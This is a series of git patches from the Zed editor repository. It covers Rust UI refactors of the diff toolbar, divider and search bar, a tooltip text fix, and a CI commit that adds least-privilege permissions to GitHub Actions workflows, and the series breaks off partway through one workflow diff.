@@ -754,32 +716,59 @@ impl Render for SoloDiffGitToolbar {
             .repository
             .read(cx)
             .status_for_path(&solo_diff.repo_path);
-        let status = status_entry.as_ref().map(|entry| entry.status);
         let diff_stat = status_entry.and_then(|entry| entry.diff_stat);
 
-        h_group_xl()
+        h_flex()
             .my_neg_1()
             .py_1()
-            .items_center()
+            .gap_1p5()
             .flex_wrap()
             .justify_between()
-            .children(status.map(|status| git_status_icon(status).into_any_element()))
             .children(diff_stat.map(|stat| {
                 DiffStat::new("solo-diff-stat", stat.added as usize, stat.deleted as usize)
-                    .into_any_element()
             }))
+            .child(Divider::vertical().ml_1())
+            .child(
+                h_group_sm()
+                    .child(
+                        IconButton::new("up", IconName::ArrowUp)
+                            .icon_size(IconSize::Small)
+                            .disabled(!button_states.prev_next)
+                            .tooltip(Tooltip::for_action_title_in(
+                                "Go to Previous Hunk",
+                                &GoToPreviousHunk,
+                                &focus_handle,
+                            ))
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.dispatch_action(&GoToPreviousHunk, window, cx)
+                            })),
+                    )
+                    .child(
+                        IconButton::new("down", IconName::ArrowDown)
+                            .icon_size(IconSize::Small)
+                            .disabled(!button_states.prev_next)
+                            .tooltip(Tooltip::for_action_title_in(
+                                "Go to Next Hunk",
+                                &GoToHunk,
+                                &focus_handle,
+                            ))
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.dispatch_action(&GoToHunk, window, cx)
+                            })),
+                    ),
+            )
             .child(Divider::vertical())
             .child(
                 h_group_sm()
                     .when(button_states.selection, |el| {
                         el.child(
                             Button::new("stage", "Toggle Staged")
+                                .disabled(!button_states.stage && !button_states.unstage)
                                 .tooltip(Tooltip::for_action_title_in(
                                     "Toggle Staged",
                                     &ToggleStaged,
                                     &focus_handle,
                                 ))
-                                .disabled(!button_states.stage && !button_states.unstage)
                                 .on_click(cx.listener(|this, _, window, cx| {
                                     this.dispatch_action(&ToggleStaged, window, cx)
                                 })),
@@ -788,24 +777,24 @@ impl Render for SoloDiffGitToolbar {
                     .when(!button_states.selection, |el| {
                         el.child(
                             Button::new("stage", "Stage")
+                                .disabled(!button_states.stage)
                                 .tooltip(Tooltip::for_action_title_in(
-                                    "Stage and go to next hunk",
+                                    "Stage and Go to Next Hunk",
                                     &StageAndNext,
                                     &focus_handle,
                                 ))
-                                .disabled(!button_states.stage)
                                 .on_click(cx.listener(|this, _, window, cx| {
                                     this.dispatch_action(&StageAndNext, window, cx)
                                 })),
                         )
                         .child(
                             Button::new("unstage", "Unstage")
+                                .disabled(!button_states.unstage)
                                 .tooltip(Tooltip::for_action_title_in(
-                                    "Unstage and go to next hunk",
+                                    "Unstage and Go to Next Hunk",
                                     &UnstageAndNext,
                                     &focus_handle,
                                 ))
-                                .disabled(!button_states.unstage)
                                 .on_click(cx.listener(|this, _, window, cx| {
                                     this.dispatch_action(&UnstageAndNext, window, cx)
                                 })),
@@ -824,72 +813,40 @@ impl Render for SoloDiffGitToolbar {
                             })),
                     ),
             )
+            .child(Divider::vertical())
+            .child(h_group_sm().child(if button_states.stage_file {
+                Button::new("stage-file", "Stage All")
+                    .width(rems_from_px(80.))
+                    .disabled(!button_states.stage_file)
+                    .tooltip(Tooltip::for_action_title_in(
+                        "Stage All",
+                        &StageFile,
+                        &focus_handle,
+                    ))
+                    .on_click(cx.listener(|this, _, window, cx| this.stage_file(window, cx)))
+            } else {
+                Button::new("unstage-file", "Unstage All")
+                    .width(rems_from_px(80.))
+                    .disabled(!button_states.unstage_file)
+                    .tooltip(Tooltip::for_action_title_in(
+                        "Unstage All",
+                        &UnstageFile,
+                        &focus_handle,
+                    ))
+                    .on_click(cx.listener(|this, _, window, cx| this.unstage_file(window, cx)))
+            }))
+            .child(Divider::vertical())
             .child(
-                h_group_sm()
-                    .child(
-                        IconButton::new("up", IconName::ArrowUp)
-                            .shape(IconButtonShape::Square)
-                            .tooltip(Tooltip::for_action_title_in(
-                                "Go to previous hunk",
-                                &GoToPreviousHunk,
-                                &focus_handle,
-                            ))
-                            .disabled(!button_states.prev_next)
-                            .on_click(cx.listener(|this, _, window, cx| {
-                                this.dispatch_action(&GoToPreviousHunk, window, cx)
-                            })),
-                    )
-                    .child(
-                        IconButton::new("down", IconName::ArrowDown)
-                            .shape(IconButtonShape::Square)
-                            .tooltip(Tooltip::for_action_title_in(
-                                "Go to next hunk",
-                                &GoToHunk,
-                                &focus_handle,
-                            ))
-                            .disabled(!button_states.prev_next)
-                            .on_click(cx.listener(|this, _, window, cx| {
-                                this.dispatch_action(&GoToHunk, window, cx)
-                            })),
-                    ),
-            )
-            .child(vertical_divider())
-            .child(
-                h_group_sm()
-                    .child(if button_states.stage_file {
-                        Button::new("stage-file", "Stage File")
-                            .tooltip(Tooltip::for_action_title_in(
-                                "Stage file",
-                                &StageFile,
-                                &focus_handle,
-                            ))
-                            .disabled(!button_states.stage_file)
-                            .on_click(
-                                cx.listener(|this, _, window, cx| this.stage_file(window, cx)),
-                            )
-                    } else {
-                        Button::new("unstage-file", "Unstage File")
-                            .tooltip(Tooltip::for_action_title_in(
-                                "Unstage file",
-                                &UnstageFile,
-                                &focus_handle,
-                            ))
-                            .disabled(!button_states.unstage_file)
-                            .on_click(
-                                cx.listener(|this, _, window, cx| this.unstage_file(window, cx)),
-                            )
-                    })
-                    .child(
-                        Button::new("commit", "Commit")
-                            .tooltip(Tooltip::for_action_title_in(
-                                "Commit",
-                                &Commit,
-                                &focus_handle,
-                            ))
-                            .on_click(cx.listener(|this, _, window, cx| {
-                                this.dispatch_action(&Commit, window, cx);
-                            })),
-                    ),
+                Button::new("commit", "Commit")
+                    .tooltip(Tooltip::for_action_title_in(
+                        "Commit",
+                        &Commit,
+                        &focus_handle,
+                    ))
+                    .on_click(cx.listener(|this, _, window, cx| {
+                        this.dispatch_action(&Commit, window, cx);
+                    })),
             )
+            .into_any_element()
     }
 }
diff --git a/crates/picker/src/footer.rs b/crates/picker/src/footer.rs
index fc90c5f2530c57..ff0b11caa947be 100644
--- a/crates/picker/src/footer.rs
+++ b/crates/picker/src/footer.rs
@@ -145,7 +145,7 @@ impl<D: PickerDelegate> Picker<D> {
                     ),
             )
             .when(preview_visible, |this| {
-                this.child(Divider::vertical().h_4().mx_1())
+                this.child(Divider::vertical().mx_1())
                     .child(
                         IconButton::new("picker-preview-right", IconName::DiffSplit)
                             .icon_size(IconSize::Small)
diff --git a/crates/search/src/buffer_search.rs b/crates/search/src/buffer_search.rs
index 5e20f2e7ecf6e3..d0c0a5385ff66a 100644
--- a/crates/search/src/buffer_search.rs
+++ b/crates/search/src/buffer_search.rs
@@ -14,15 +14,15 @@ use crate::{
 use any_vec::AnyVec;
 use collections::HashMap;
 use editor::{
-    Editor, EditorSettings, MultiBufferOffset, SplittableEditor, ToggleSplitDiff,
+    DiffStyleControls, Editor, EditorSettings, MultiBufferOffset, SplittableEditor,
     actions::{Backtab, FoldAll, Tab, ToggleFoldAll, UnfoldAll},
     scroll::Autoscroll,
 };
 use futures::channel::oneshot;
 use gpui::{
-    Action as _, App, ClickEvent, Context, Entity, EventEmitter, Focusable,
-    InteractiveElement as _, IntoElement, KeyContext, ParentElement as _, Render, ScrollHandle,
-    Styled, Subscription, Task, TaskExt, WeakEntity, Window, div,
+    App, ClickEvent, Context, Entity, EventEmitter, Focusable, InteractiveElement as _,
+    IntoElement, KeyContext, ParentElement as _, Render, ScrollHandle, Styled, Subscription, Task,
+    TaskExt, WeakEntity, Window, div,
 };
 use language::{Language, LanguageRegistry};
 use project::{
@@ -30,17 +30,11 @@ use project::{
     search_history::{SearchHistory, SearchHistoryCursor},
 };
 
-use fs::Fs;
-use settings::{DiffViewStyle, SeedQuerySetting, Settings, update_settings_file};
+use settings::{SeedQuerySetting, Settings};
 use std::{any::TypeId, sync::Arc};
-use zed_actions::{
-    OpenSettingsAt, outline::ToggleOutline, workspace::CopyPath, workspace::CopyRelativePath,
-};
+use zed_actions::{outline::ToggleOutline, workspace::CopyPath, workspace::CopyRelativePath};
 
-use ui::{
-    BASE_REM_SIZE_IN_PX, IconButtonShape, PlatformStyle, TextSize, Tooltip, prelude::*,
-    render_modifiers, utils::SearchInputWidth,
-};
+use ui::{BASE_REM_SIZE_IN_PX, IconButtonShape, Tooltip, prelude::*, utils::SearchInputWidth};
 use util::{ResultExt, paths::PathMatcher};
 use workspace::{
     ToolbarItemEvent, ToolbarItemLocation, ToolbarItemView, Workspace,
@@ -109,127 +103,11 @@ impl Render for BufferSearchBar {
         let focus_handle = self.focus_handle(cx);
 
         let has_splittable_editor = self.splittable_editor.is_some();
-        let split_buttons = if has_splittable_editor {
-            self.splittable_editor
-                .as_ref()
-                .and_then(|weak| weak.upgrade())
-                .map(|splittable_editor| {
-                    let editor_ref = splittable_editor.read(cx);
-                    let diff_view_style = editor_ref.diff_view_style();
-
-                    let is_split_set = diff_view_style == DiffViewStyle::Split;
-                    let is_split_active = editor_ref.is_split();
-                    let min_columns =
-                        EditorSettings::get_global(cx).minimum_split_diff_width as u32;
-
-                    let split_icon = if is_split_set && !is_split_active {
-                        IconName::DiffSplitAuto
-                    } else {
-                        IconName::DiffSplit
-                    };
-
-                    h_flex()
-                        .gap_1()
-                        .child(
-                            IconButton::new("diff-unified", IconName::DiffUnified)
-                                .icon_size(IconSize::Small)
-                                .toggle_state(diff_view_style == DiffViewStyle::Unified)
-                                .tooltip(Tooltip::text("Unified"))
-                                .on_click({
-                                    let splittable_editor = splittable_editor.downgrade();
-                                    move |_, window, cx| {
-                                        update_settings_file(
-                                            <dyn Fs>::global(cx),
-                                            cx,
-                                            |settings, _| {
-                                                settings.editor.diff_view_style =
-                                                    Some(DiffViewStyle::Unified);
-                                            },
-                                        );
-                                        if diff_view_style == DiffViewStyle::Split {
-                                            splittable_editor
-                                                .update(cx, |editor, cx| {
-                                                    editor.toggle_split(
-                                                        &ToggleSplitDiff,
-                                                        window,
-                                                        cx,
-                                                    );
-                                                })
-                                                .ok();
-                                        }
-                                    }
-                                }),
-                        )
-                        .child(
-                            IconButton::new("diff-split", split_icon)
-                                .toggle_state(diff_view_style == DiffViewStyle::Split)
-                                .icon_size(IconSize::Small)
-                                .tooltip(Tooltip::element(move |_, cx| {
-                                    let message = if is_split_set && !is_split_active {
-                                        format!("Split when wider than {} columns", min_columns)
-                                            .into()
-                                    } else {
-                                        SharedString::from("Split")
-                                    };
-
-                                    v_flex()
-                                        .child(message)
-                                        .child(
-                                            h_flex()
-                                                .gap_0p5()
-                                                .text_ui_sm(cx)
-                                                .text_color(Color::Muted.color(cx))
-                                                .children(render_modifiers(
-                                                    &gpui::Modifiers::secondary_key(),
-                                                    PlatformStyle::platform(),
-                                                    None,
-                                                    Some(TextSize::Small.rems(cx).into()),
-                                                    false,
-                                                ))
-                                                .child("click to change min width"),
-                                        )
-                                        .into_any()
-                                }))
-                                .on_click({
-                                    let splittable_editor = splittable_editor.downgrade();
-                                    move |_, window, cx| {
-                                        if window.modifiers().secondary() {
-                                            window.dispatch_action(
-                                                OpenSettingsAt {
-                                                    path: "minimum_split_diff_width".to_string(),
-                                                    target: None,
-                                                }
-                                                .boxed_clone(),
-                                                cx,
-                                            );
-                                        } else {
-                                            update_settings_file(
-                                                <dyn Fs>::global(cx),
-                                                cx,
-                                                |settings, _| {
-                                                    settings.editor.diff_view_style =
-                                                        Some(DiffViewStyle::Split);
-                                                },
-                                            );
-                                            if diff_view_style == DiffViewStyle::Unified {
-                                                splittable_editor
-                                                    .update(cx, |editor, cx| {
-                                                        editor.toggle_split(
-                                                            &ToggleSplitDiff,
-                                                            window,
-                                                            cx,
-                                                        );
-                                                    })
-                                                    .ok();
-                                            }
-                                        }
-                                    }
-                                }),
-                        )
-                })
-        } else {
-            None
-        };
+        let split_buttons = self
+            .splittable_editor
+            .as_ref()
+            .and_then(|weak| weak.upgrade())
+            .map(DiffStyleControls::new);
 
         let collapse_expand_button = if self.needs_expand_collapse_option(cx) {
             let query_editor_focus = self.query_editor.focus_handle(cx);
diff --git a/crates/ui/src/components/button/split_button.rs b/crates/ui/src/components/button/split_button.rs
index 01cfc9a38b56be..315bbc95f12c20 100644
--- a/crates/ui/src/components/button/split_button.rs
+++ b/crates/ui/src/components/button/split_button.rs
@@ -1,10 +1,11 @@
 use gpui::{
-    AnyElement, App, BoxShadow, IntoElement, ParentElement, RenderOnce, Styled, Window, div, hsla,
-    prelude::FluentBuilder, px, relative,
+    AnyElement, App, BoxShadow, ParentElement, RenderOnce, Styled, Window, div, hsla, prelude::*,
+    px,
 };
+
 use theme::ActiveTheme;
 
-use crate::{ElevationIndex, prelude::*};
+use crate::{Divider, ElevationIndex, prelude::*};
 
 use super::ButtonLike;
 
@@ -80,12 +81,13 @@ impl RenderOnce for SplitButton {
                 SplitButtonKind::ButtonLike(button) => button.into_any_element(),
                 SplitButtonKind::IconButton(icon) => icon.into_any_element(),
             }))
-            .child(
-                div()
-                    .h(relative(0.8))
-                    .w_px()
-                    .bg(cx.theme().colors().border.opacity(0.5)),
-            )
+            .child(Divider::vertical().map(|s| {
+                if self.style == SplitButtonStyle::Filled {
+                    s.h_full().color(crate::DividerColor::Border)
+                } else {
+                    s.h_4()
+                }
+            }))
             .child(self.right)
             .when(self.style == SplitButtonStyle::Filled, |this| {
                 this.bg(ElevationIndex::Surface.on_elevation_bg(cx))
diff --git a/crates/ui/src/components/divider.rs b/crates/ui/src/components/divider.rs
index 74c697a76ac1fb..7e343867f14231 100644
--- a/crates/ui/src/components/divider.rs
+++ b/crates/ui/src/components/divider.rs
@@ -2,26 +2,6 @@ use gpui::{Hsla, IntoElement, PathBuilder, Refineable as _, StyleRefinement, can
 
 use crate::prelude::*;
 
-pub fn divider() -> Divider {
-    Divider {
-        line_style: DividerStyle::Solid,
-        direction: DividerDirection::Horizontal,
-        color: DividerColor::default(),
-        style: StyleRefinement::default(),
-        inset: false,
-    }
-}
-
-pub fn vertical_divider() -> Divider {
-    Divider {
-        line_style: DividerStyle::Solid,
-        direction: DividerDirection::Vertical,
-        color: DividerColor::default(),
-        style: StyleRefinement::default(),
-        inset: false,
-    }
-}
-
 #[derive(Clone, Copy, PartialEq)]
 enum DividerStyle {
     Solid,
@@ -166,7 +146,7 @@ impl RenderOnce for Divider {
             DividerDirection::Vertical => div()
                 .min_w_0()
                 .w_px()
-                .h_full()
+                .h_4()
                 .when(self.inset, |this| this.my_1p5()),
         };
 

From 5d6c88cdb71168d31c35a1057702f2fa26d5494e Mon Sep 17 00:00:00 2001
From: Salman Farooq <salman.farooq3310@gmail.com>
Date: Mon, 6 Jul 2026 20:56:59 +0500
Subject: [PATCH 281/772] workspace: Use ellipsis character in "New" tooltip
 (#60467)

Explanation by @danilo-leal at
https://github.com/zed-industries/zed/pull/60181#issuecomment-4866118310

## Testing

Ran with `cargo run` and tooltip appears correctly.

## Release Notes:

- N/A
---
 crates/workspace/src/pane.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/workspace/src/pane.rs b/crates/workspace/src/pane.rs
index 55736c0824b887..dc3dcd68b8d21a 100644
--- a/crates/workspace/src/pane.rs
+++ b/crates/workspace/src/pane.rs
@@ -4213,7 +4213,7 @@ fn default_render_tab_bar_buttons(
             PopoverMenu::new("pane-tab-bar-popover-menu")
                 .trigger_with_tooltip(
                     IconButton::new("plus", IconName::Plus).icon_size(IconSize::Small),
-                    Tooltip::text("New..."),
+                    Tooltip::text("New…"),
                 )
                 .anchor(Anchor::TopRight)
                 .with_handle(pane.new_item_context_menu_handle.clone())

From 283d5054ec5663795e8f9d744260c6c57b85f9e3 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Mon, 6 Jul 2026 18:02:54 +0200
Subject: [PATCH 282/772] ci: Set and enforce more default permissions (#60222)

Release Notes:

- N/A
---
 .github/workflows/after_release.yml           |   2 +
 .github/workflows/autofix_pr.yml              |   5 +
 .github/workflows/bump_collab_staging.yml     |   5 +
 .github/workflows/bump_patch_version.yml      |   4 +
 .github/workflows/bump_zed_version.yml        |   9 ++
 .github/workflows/cherry_pick.yml             |   2 +
 .../comment_on_potential_duplicate_issues.yml |   2 +
 .../community_close_stale_issues.yml          |   5 +
 ...ommunity_update_all_top_ranking_issues.yml |   6 +
 ...unity_update_weekly_top_ranking_issues.yml |   6 +
 .github/workflows/compliance_check.yml        |   2 +
 .github/workflows/congrats.yml                |   3 +
 .github/workflows/danger.yml                  |   2 +
 .github/workflows/deploy_collab.yml           |   2 +
 .github/workflows/deploy_docs.yml             |   2 +
 .github/workflows/deploy_nightly_docs.yml     |   1 +
 .github/workflows/docs_suggestions.yml        |   4 +
 .github/workflows/extension_auto_bump.yml     |   2 +
 .github/workflows/extension_bump.yml          |   2 +
 .github/workflows/extension_tests.yml         |   2 +
 .../workflows/extension_workflow_rollout.yml  |   2 +
 .../workflows/good_first_issue_notifier.yml   |   3 +
 .github/workflows/hotfix-review-monitor.yml   |   3 +-
 .github/workflows/nix_build.yml               |   2 +
 .github/workflows/publish_extension_cli.yml   |   2 +
 .github/workflows/release.yml                 |   4 +
 .github/workflows/release_nightly.yml         |   2 +
 .github/workflows/run_bundling.yml            |   2 +
 .github/workflows/run_tests.yml               |   2 +
 ...ck_notify_community_automation_failure.yml |   3 +
 .../slack_notify_first_responders.yml         |   3 +
 .../workflows/slack_notify_label_created.yml  |   3 +
 .github/workflows/stale-pr-reminder.yml       |   3 +-
 .../workflows/update_duplicate_magnets.yml    |   6 +
 extensions/workflows/run_tests.yml            |   2 +
 extensions/workflows/shared/bump_version.yml  |   1 +
 tooling/xtask/src/tasks/workflow_checks.rs    | 145 +++++++++++++-----
 .../workflow_checks/check_permissions.rs      |  74 +++++++++
 .../workflow_checks/check_run_patterns.rs     |  71 ++-------
 tooling/xtask/src/tasks/workflows.rs          |   4 +-
 .../src/tasks/workflows/after_release.rs      |   5 +-
 .../xtask/src/tasks/workflows/autofix_pr.rs   |  10 +-
 .../src/tasks/workflows/bump_patch_version.rs |   4 +-
 .../src/tasks/workflows/bump_zed_version.rs   |  10 +-
 .../xtask/src/tasks/workflows/cherry_pick.rs  |   6 +-
 .../src/tasks/workflows/compliance_check.rs   |   3 +-
 tooling/xtask/src/tasks/workflows/danger.rs   |   3 +-
 .../src/tasks/workflows/deploy_collab.rs      |   4 +-
 .../xtask/src/tasks/workflows/deploy_docs.rs  |   6 +-
 .../tasks/workflows/extension_auto_bump.rs    |   3 +-
 .../src/tasks/workflows/extension_bump.rs     |   8 +-
 .../src/tasks/workflows/extension_tests.rs    |   3 +-
 .../workflows/extension_workflow_rollout.rs   |   5 +-
 .../workflows/extensions/bump_version.rs      |   1 +
 .../tasks/workflows/extensions/run_tests.rs   |   1 +
 .../xtask/src/tasks/workflows/nix_build.rs    |   3 +-
 .../tasks/workflows/publish_extension_cli.rs  |   5 +-
 tooling/xtask/src/tasks/workflows/release.rs  |  10 +-
 .../src/tasks/workflows/release_nightly.rs    |   5 +-
 .../xtask/src/tasks/workflows/run_bundling.rs |   6 +-
 .../xtask/src/tasks/workflows/run_tests.rs    |   5 +-
 tooling/xtask/src/tasks/workflows/steps.rs    |  11 ++
 62 files changed, 387 insertions(+), 135 deletions(-)
 create mode 100644 tooling/xtask/src/tasks/workflow_checks/check_permissions.rs

diff --git a/.github/workflows/after_release.yml b/.github/workflows/after_release.yml
index 9fb93ee27d5518..5a833447e9eda1 100644
--- a/.github/workflows/after_release.yml
+++ b/.github/workflows/after_release.yml
@@ -22,6 +22,8 @@ on:
         description: body
         type: string
         default: ''
+permissions:
+  contents: read
 jobs:
   rebuild_releases_page:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/.github/workflows/autofix_pr.yml b/.github/workflows/autofix_pr.yml
index 9918f6be0fc933..1c7b72da68e1a8 100644
--- a/.github/workflows/autofix_pr.yml
+++ b/.github/workflows/autofix_pr.yml
@@ -13,9 +13,14 @@ on:
         description: run_clippy
         type: boolean
         default: 'true'
+permissions:
+  contents: read
 jobs:
   run_autofix:
     runs-on: namespace-profile-16x32-ubuntu-2204
+    permissions:
+      contents: read
+      pull-requests: read
     env:
       CC: clang
       CXX: clang++
diff --git a/.github/workflows/bump_collab_staging.yml b/.github/workflows/bump_collab_staging.yml
index 4f9724439f37b2..be39f41b6e54e5 100644
--- a/.github/workflows/bump_collab_staging.yml
+++ b/.github/workflows/bump_collab_staging.yml
@@ -5,10 +5,15 @@ on:
     # Fire every day at 16:00 UTC (At the start of the US workday)
     - cron: "0 16 * * *"
 
+permissions:
+  contents: read
+
 jobs:
   update-collab-staging-tag:
     if: github.repository_owner == 'zed-industries'
     runs-on: namespace-profile-2x4-ubuntu-2404
+    permissions:
+      contents: write
     steps:
       - name: Checkout repository
         uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
diff --git a/.github/workflows/bump_patch_version.yml b/.github/workflows/bump_patch_version.yml
index 3618d7230f79b4..7be909c907ccb1 100644
--- a/.github/workflows/bump_patch_version.yml
+++ b/.github/workflows/bump_patch_version.yml
@@ -8,10 +8,14 @@ on:
         description: Branch name to run on
         required: true
         type: string
+permissions:
+  contents: read
 jobs:
   run_bump_patch_version:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
     runs-on: namespace-profile-16x32-ubuntu-2204
+    permissions:
+      contents: write
     steps:
     - id: generate-token
       name: steps::authenticate_as_zippy
diff --git a/.github/workflows/bump_zed_version.yml b/.github/workflows/bump_zed_version.yml
index f8fae3de7afc0a..07b17aca32a162 100644
--- a/.github/workflows/bump_zed_version.yml
+++ b/.github/workflows/bump_zed_version.yml
@@ -8,6 +8,8 @@ on:
         description: 'Which channels to bump: all, main, preview, or stable'
         type: string
         default: all
+permissions:
+  contents: read
 jobs:
   resolve_versions:
     if: github.repository_owner == 'zed-industries'
@@ -86,6 +88,9 @@ jobs:
     - resolve_versions
     if: inputs.target == 'all' || inputs.target == 'main'
     runs-on: namespace-profile-16x32-ubuntu-2204
+    permissions:
+      contents: write
+      pull-requests: write
     steps:
     - id: generate-token
       name: steps::authenticate_as_zippy
@@ -127,6 +132,8 @@ jobs:
     - resolve_versions
     if: inputs.target == 'all' || inputs.target == 'preview'
     runs-on: namespace-profile-16x32-ubuntu-2204
+    permissions:
+      contents: write
     steps:
     - id: generate-token
       name: steps::authenticate_as_zippy
@@ -180,6 +187,8 @@ jobs:
     - resolve_versions
     if: inputs.target == 'all' || inputs.target == 'stable'
     runs-on: namespace-profile-16x32-ubuntu-2204
+    permissions:
+      contents: write
     steps:
     - id: generate-token
       name: steps::authenticate_as_zippy
diff --git a/.github/workflows/cherry_pick.yml b/.github/workflows/cherry_pick.yml
index 82dc9fb545d027..0e18eb2d16ded5 100644
--- a/.github/workflows/cherry_pick.yml
+++ b/.github/workflows/cherry_pick.yml
@@ -21,6 +21,8 @@ on:
         description: pr_number
         required: true
         type: string
+permissions:
+  contents: read
 jobs:
   run_cherry_pick:
     runs-on: namespace-profile-2x4-ubuntu-2404
diff --git a/.github/workflows/comment_on_potential_duplicate_issues.yml b/.github/workflows/comment_on_potential_duplicate_issues.yml
index 0d7ce3aad3ce9d..c6e79bff8488ff 100644
--- a/.github/workflows/comment_on_potential_duplicate_issues.yml
+++ b/.github/workflows/comment_on_potential_duplicate_issues.yml
@@ -14,6 +14,8 @@ concurrency:
   group: potential-duplicate-check-${{ github.event.issue.number || inputs.issue_number }}
   cancel-in-progress: true
 
+permissions: {}
+
 jobs:
   identify-duplicates:
     # For manual testing, allow running on any branch; for automatic runs, only on main repo
diff --git a/.github/workflows/community_close_stale_issues.yml b/.github/workflows/community_close_stale_issues.yml
index be1d8e66d046ae..f309dd589b7d20 100644
--- a/.github/workflows/community_close_stale_issues.yml
+++ b/.github/workflows/community_close_stale_issues.yml
@@ -13,10 +13,15 @@ on:
         type: number
         default: 1000
 
+permissions:
+  contents: read
+
 jobs:
   stale:
     if: github.repository_owner == 'zed-industries'
     runs-on: namespace-profile-2x4-ubuntu-2404
+    permissions:
+      issues: write
     steps:
       - uses: actions/stale@997185467fa4f803885201cee163a9f38240193d # v10
         with:
diff --git a/.github/workflows/community_update_all_top_ranking_issues.yml b/.github/workflows/community_update_all_top_ranking_issues.yml
index b8003a69b243c3..55ba214ad30568 100644
--- a/.github/workflows/community_update_all_top_ranking_issues.yml
+++ b/.github/workflows/community_update_all_top_ranking_issues.yml
@@ -5,10 +5,16 @@ on:
     - cron: "0 */12 * * *"
   workflow_dispatch:
 
+permissions:
+  contents: read
+
 jobs:
   update_top_ranking_issues:
     runs-on: namespace-profile-2x4-ubuntu-2404
     if: github.repository == 'zed-industries/zed'
+    permissions:
+      contents: read
+      issues: write
     steps:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
       - name: Set up uv
diff --git a/.github/workflows/community_update_weekly_top_ranking_issues.yml b/.github/workflows/community_update_weekly_top_ranking_issues.yml
index 90d1934ffcb6d5..4dbe5e8700a365 100644
--- a/.github/workflows/community_update_weekly_top_ranking_issues.yml
+++ b/.github/workflows/community_update_weekly_top_ranking_issues.yml
@@ -5,10 +5,16 @@ on:
     - cron: "0 15 * * *"
   workflow_dispatch:
 
+permissions:
+  contents: read
+
 jobs:
   update_top_ranking_issues:
     runs-on: namespace-profile-2x4-ubuntu-2404
     if: github.repository == 'zed-industries/zed'
+    permissions:
+      contents: read
+      issues: write
     steps:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
       - name: Set up uv
diff --git a/.github/workflows/compliance_check.yml b/.github/workflows/compliance_check.yml
index 2cf27fea8b0652..a701371d76ea40 100644
--- a/.github/workflows/compliance_check.yml
+++ b/.github/workflows/compliance_check.yml
@@ -7,6 +7,8 @@ on:
   schedule:
   - cron: 30 17 * * 2
   workflow_dispatch: {}
+permissions:
+  contents: read
 jobs:
   scheduled_compliance_check:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/.github/workflows/congrats.yml b/.github/workflows/congrats.yml
index 4866b3c33bc6ba..f6d04265975451 100644
--- a/.github/workflows/congrats.yml
+++ b/.github/workflows/congrats.yml
@@ -4,6 +4,9 @@ on:
   push:
     branches: [main]
 
+permissions:
+  contents: read
+
 jobs:
   check-author:
     if: ${{ github.repository_owner == 'zed-industries' }}
diff --git a/.github/workflows/danger.yml b/.github/workflows/danger.yml
index 4e94c613a6b3dc..9bef39ade451fc 100644
--- a/.github/workflows/danger.yml
+++ b/.github/workflows/danger.yml
@@ -11,6 +11,8 @@ on:
     - edited
     branches:
     - main
+permissions:
+  contents: read
 jobs:
   danger:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/.github/workflows/deploy_collab.yml b/.github/workflows/deploy_collab.yml
index 043c18ebc7c262..b40c55afb14ac7 100644
--- a/.github/workflows/deploy_collab.yml
+++ b/.github/workflows/deploy_collab.yml
@@ -7,6 +7,8 @@ on:
   push:
     tags:
     - collab-production
+permissions:
+  contents: read
 jobs:
   style:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/.github/workflows/deploy_docs.yml b/.github/workflows/deploy_docs.yml
index 6c492135ea6c3d..ace3c0729e7f2a 100644
--- a/.github/workflows/deploy_docs.yml
+++ b/.github/workflows/deploy_docs.yml
@@ -35,6 +35,8 @@ on:
         description: Git ref to checkout and deploy. Defaults to event SHA when omitted.
         type: string
         default: ''
+permissions:
+  contents: read
 jobs:
   deploy_docs:
     if: github.repository_owner == 'zed-industries'
diff --git a/.github/workflows/deploy_nightly_docs.yml b/.github/workflows/deploy_nightly_docs.yml
index acd904841bb33c..12d10f10b26161 100644
--- a/.github/workflows/deploy_nightly_docs.yml
+++ b/.github/workflows/deploy_nightly_docs.yml
@@ -5,6 +5,7 @@ on:
   push:
     branches:
     - main
+permissions: {}
 jobs:
   deploy_docs:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/.github/workflows/docs_suggestions.yml b/.github/workflows/docs_suggestions.yml
index c3d04d5780b290..f0405af5e94424 100644
--- a/.github/workflows/docs_suggestions.yml
+++ b/.github/workflows/docs_suggestions.yml
@@ -42,6 +42,10 @@ on:
           - immediate
         default: batch
 
+# Both jobs below declare their own `permissions:` blocks, so no job uses this
+# top-level default. Least privilege therefore grants nothing here.
+permissions: {}
+
 env:
   DROID_MODEL: claude-sonnet-4-5-20250929
   SUGGESTIONS_BRANCH: docs/suggestions-pending
diff --git a/.github/workflows/extension_auto_bump.yml b/.github/workflows/extension_auto_bump.yml
index e48ccdb082a362..df9fcc986937a0 100644
--- a/.github/workflows/extension_auto_bump.yml
+++ b/.github/workflows/extension_auto_bump.yml
@@ -10,6 +10,8 @@ on:
     - '!extensions/test-extension/**'
     - '!extensions/workflows/**'
     - '!extensions/*.md'
+permissions:
+  contents: read
 jobs:
   detect_changed_extensions:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/.github/workflows/extension_bump.yml b/.github/workflows/extension_bump.yml
index 6e68db7af0f274..494a97b0977469 100644
--- a/.github/workflows/extension_bump.yml
+++ b/.github/workflows/extension_bump.yml
@@ -28,6 +28,8 @@ on:
       app-secret:
         description: The app secret for the corresponding app ID
         required: true
+permissions:
+  contents: read
 jobs:
   check_version_changed:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/.github/workflows/extension_tests.yml b/.github/workflows/extension_tests.yml
index 23efa368d17653..9a6f223f38f22e 100644
--- a/.github/workflows/extension_tests.yml
+++ b/.github/workflows/extension_tests.yml
@@ -15,6 +15,8 @@ on:
